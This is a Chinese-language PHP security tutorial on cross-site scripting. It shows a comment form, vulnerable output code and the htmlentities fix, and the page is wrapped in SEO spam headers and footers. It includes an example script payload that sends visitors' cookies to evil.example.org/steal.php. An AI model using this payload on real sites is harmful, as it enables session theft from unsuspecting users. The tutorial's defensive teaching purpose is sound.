国产成人精品亚洲777人妖,欧美日韩精品一区视频,最新亚洲国产,国产乱码精品一区二区亚洲

您的位置:首頁技術文章
文章詳情頁

PHP安全-跨站腳本攻擊

瀏覽:121日期:2022-09-12 09:44:45
跨站腳本攻擊

跨站腳本攻擊是眾所周知的攻擊方式之一。所有平臺上的Web應用都深受其擾,PHP應用也不例外。

所有有輸入的應用都面臨著風險。Webmail,論壇,留言本,甚至是Blog。事實上,大多數Web應用提供輸入是出于更吸引人氣的目的,但同時這也會把自己置于危險之中。如果輸入沒有正確地進行過濾和轉義,跨站腳本漏洞就產生了。

以一個允許在每個頁面上錄入評論的應用為例,它使用了下面的表單幫助用戶進行提交:

CODE:

<form action='comment.php' method='POST' />

<p>Name: <input type='text' name='name' /><br />

Comment: <textarea name='comment' rows='10' cols='60'></textarea><br />

<input type='submit' value='Add Comment' /></p>

</form>

程序向其他訪問該頁面的用戶顯示評論。例如,類似下面的代碼段可能被用來輸出一個評論($comment)及與之對應的發表人($name):

CODE:

<?php

echo '<p>$name writes:<br />';

echo '<blockquote>$comment</blockquote></p>';

?>

這個流程對$comment及$name的值給予了充分的信任,想象一下它們中的一個的內容中包含如下代碼:

CODE:

<script>

document.location =

’http://evil.example.org/steal.php?cookies=’ +

document.cookie

</script>

如果你的用戶察看這個評論時,這與你允許別人在你的網站源程序中加入Javascript代碼無異。你的用戶會在不知不覺中把他們的cookies(瀏覽網站的人)發送到evil.example.org,而接收程序(steal.php)可以通過$_GET[’cookies’]變量防問所有的cookies。

這是一個常見的錯誤,主要是由于不好的編程習慣引發的。幸運的是此類錯誤很容易避免。由于這種風險只在你輸出了被污染數據時發生,所以只要確保做到如第一章所述的過濾輸入及轉義輸出即可

最起碼你要用htmlentities( )對任何你要輸出到客戶端的數據進行轉義。該函數可以把所有的特殊字符轉換成HTML表示方式。所有會引起瀏覽器進行特殊處理的字符在進行了轉換后,就能確保顯示出來的是原來錄入的內容。

由此,用下面的代碼來顯示評論是更安全的:

CODE:

<?php

$clean = array();

$html = array();

/* Filter Input ($name, $comment) */

$html[’name’] = htmlentities($clean[’name’], ENT_QUOTES, ’UTF-8’);

$html[’comment’] = htmlentities($clean[’comment’], ENT_QUOTES, ’UTF-8’);

echo '<p>{$html[’name’]} writes:<br />';

echo '<blockquote>{$html[’comment’]}</blockquote></p>';

?>

標簽: PHP
相關文章:
主站蜘蛛池模板: 新民市| 静海县| 永宁县| 长汀县| 秭归县| 宁安市| 岑巩县| 当涂县| 巨野县| 长白| 石林| 白山市| 潞城市| 金平| 横峰县| 大连市| 来安县| 新河县| 宁津县| 三穗县| 蓝田县| 修水县| 灵武市| 伊宁县| 新安县| 苗栗县| 图们市| 宿州市| 微山县| 临武县| 固原市| 康定县| 台前县| 石台县| 平和县| 阳朔县| 江门市| 丰县| 宾川县| 安丘市| 德格县|